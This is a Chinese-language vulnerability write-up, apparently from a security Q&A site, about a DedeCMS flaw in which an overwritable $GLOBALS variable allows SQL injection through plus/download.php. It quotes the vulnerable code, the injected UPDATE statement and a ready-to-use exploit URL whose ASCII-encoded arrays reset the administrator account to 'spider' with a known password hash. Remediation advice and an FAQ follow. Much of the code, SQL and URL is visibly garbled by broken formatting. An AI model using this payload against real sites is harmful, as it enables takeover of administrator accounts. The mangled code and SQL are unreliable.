漏洞描述
Dedecms(织梦CMS)是一款广泛使用的内容管理系统,但近期发现了一个严重的安全漏洞,这个漏洞允许攻击者通过修改任意管理员账户的用户名和密码来获取系统权限,该漏洞主要存在于文件include/dedesql.class.php
中,由于全局变量$GLOBALS
可以被任意修改,导致了一系列安全问题。
漏洞成因
在include/dedesql.class.php
文件中,存在以下代码片段:
if(isset($GLOBALS['arrs1'])) { $v1 = $v2 = ''; for($i=0;isset($arrs1[$i]);$i++) { $v1 .= chr($arrs1[$i]); } for($i=0;isset($arrs2[$i]);$i++) { $v2 .= chr($arrs2[$i]); //解码ascii } $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+ } function SetQuery($sql) { $prefix="#@__"; $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql); $this>queryString = $sql; }
上述代码中的SetQuery
函数用于设置SQL查询语句,而GLOBALS
变量可以被任意修改,这导致了SQL注入的风险,绕过80秒防注入机制的方法也被揭示出来,即利用ExecuteNoneQuery2
函数执行未过滤的SQL语句。
漏洞利用
攻击者可以通过构造特定的SQL语句来利用这一漏洞,通过提交以下代码:
adminSET
userid='spider',
pwd`='f297a57a5a743894a0e4' where id=1 #
完整的SQL语句如下:
UPDATEdede_admin
SETuserid
='spider',pwd
='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash'
攻击者可以通过访问`plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101& arrs2[]=114& arrs2[]=105& arrs2[]=100& arrs2[]=96& arrs2[]=61& arrs2[]=39& arrs2[]=115& arrs2[]=112& arrs2[]=105& arrs2[]=100& arrs2[]=101& arrs2[]=114& arrs2[]=101& arrs2[]=39& arrs2[]=32& arrs2[]=96& arrs2[]=112& arrs2[]=119& arrs2[]=100& arrs2[]=96& arrs2[]=61& arrs2[]=39& arrs2[]=102& arrs2[]=50& arrs2[]=57& arrs2[]=55& arrs2[]=97& arrs2[]=53& arrs2[]=55& arrs2[]=97& arrs2[]=53& arrs2[]=97& arrs2[]=55& arrs2[]=52& arrs2[]=51& arrs2[]=56& arrs2[]=57 & arrs2[]=52 & arrs2 []=97 & arrs2 []=48 & arrs2 []=101 & arrs2 []=52 & arrs2 []=39 & arrs2 []=32 & arrs2 []=119 & arrs2 []=104 & arrs2 []=101 & arrs2 []=114 & arrs2 []=101 & arrs2 []=32 & arrs2 []=105 & arrs2 []=100 & arrs2 []=61 & arrs2 []=49 & arrs2 []=32 & arrs2 []=35
如果一切顺利,攻击者将能够以用户名“spider”和密码“admin”登录后台。 四、漏洞修复建议 为了修复此漏洞,建议采取以下措施: 1、更新系统版本:确保Dedecms已升级到最新版本,修复已知漏洞。 2、限制全局变量的使用:避免直接使用全局变量,特别是在处理用户输入和执行SQL查询时。 3、输入验证:对所有用户输入进行严格的验证和过滤,防止SQL注入等攻击。 4、最小权限原则:数据库用户应遵循最小权限原则,仅授予必要的权限。 五、FAQs 问题一:如何检测我的Dedecms是否受到此漏洞的影响? 答:可以通过检查当前使用的Dedecms版本是否为受影响版本(如V5.7.106),以及是否存在上述漏洞代码特征来判断是否受影响,建议尽快升级到最新版本并进行安全审计。 问题二:如果已经受到攻击,该如何应对? 答:如果确定已经受到攻击,建议立即采取以下措施: 1、断开网络连接:立即断开受影响服务器的网络连接,防止进一步攻击。 2、更改密码:更改所有管理员账户的密码,特别是已经被泄露的账户。 3、审计日志:检查服务器日志,找出攻击来源和行为,以便采取进一步的安全措施。 4、修复漏洞:按照上述修复建议对系统进行修复,并重新部署。 通过以上分析和建议,可以有效防范和修复Dedecms的任意管理员漏洞,提升系统的安全性。
原创文章,作者:未希,如若转载,请注明出处:https://www.kdun.com/ask/1229902.html
本网站发布或转载的文章及图片均来自网络,其原创性以及文中表达的观点和判断不代表本网站。如有问题,请联系客服处理。
发表回复